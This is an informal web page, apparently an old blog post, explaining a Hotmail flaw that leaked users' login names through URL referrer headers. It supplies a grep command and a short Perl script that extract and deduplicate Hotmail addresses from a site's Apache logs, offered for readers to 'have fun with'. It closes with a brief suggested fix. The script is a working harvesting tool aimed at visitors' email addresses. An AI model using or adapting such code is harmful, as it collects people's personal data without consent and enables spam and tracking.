Hotmail referrer exploit

Intro

As I stumbled onto this description of how "Hotmail glitch exposes email addresses" at cnet's news.com, I realised what the glitch consisted of, how to exploit it, and what Hotmail could do to fix the glitch.
Meanwhile: here's some code for y'all to have fun with it.

The "glitch":

Part 1: When you log in to a Hotmail account, the url looks something like this:

http://lw2fd.hotmail.msn.com/cgi-bin/HoTMaiL?disk=216.32.180.69_d729&login=cj&f=33792&curmbox=ACTIVE&_lang=

See the login=cj part? That's your hotmail address in plain text. Just tack on an @hotmail.com, and voila: cj@hotmail.com is a usable address. The login name seems to appear on every page when logged in.
Part 2: Now, that wouldn't have been so bad in itself, but when you click a link, the browser informs the webpage/server you clicked on what the previous url or referrer was. Normally, websites log these referrer fields (which provide a lot of useful statistics like telling which sites link to you and so on). So, by decoding the hotmail referrer fields, you get the hotmail address of the poor individual who clicked the link.

The exploit:

To be able to do this, pick yout your favourite Apache log files (must contain the referrer field) and do this:
- Grep out the juicy parts:
```
grep hotmail.msn.com <my_log_file> > ./hotmail_hits
```
- Save the following as a perl script, say in hotmail.pl (right, I'm no hardcore perl junkie :-)). btw, don't forget to chmod u+x:
```
#!/usr/bin/perl

while (<>) {
    for $fld (split("\&")) {
        @log = split("=", $fld);
        if ( @log[0] =~ /login/ ) {
            print @log[1], "\@hotmail.com\n";
        }
    }
}
```
- Feed your hotmail_hits file to hotmail.pl:
```
./hotmail.pl < ./hotmail_hits 
```
- For the final twist, sort out the dupes:
```
./hotmail.pl < ./hotmail_hits | sort | uniq
```
There you have it. A list of the hotmail addresses belonging to the users who have been referred to your site. Oh. Did I mention that your best off doing this under your choice of unix?

What Hotmail could do about it:

At each login, generate a unique ID, such as an MD5 hash and pass that along, instead of exposing the login name.

More stuff:

This stuff by: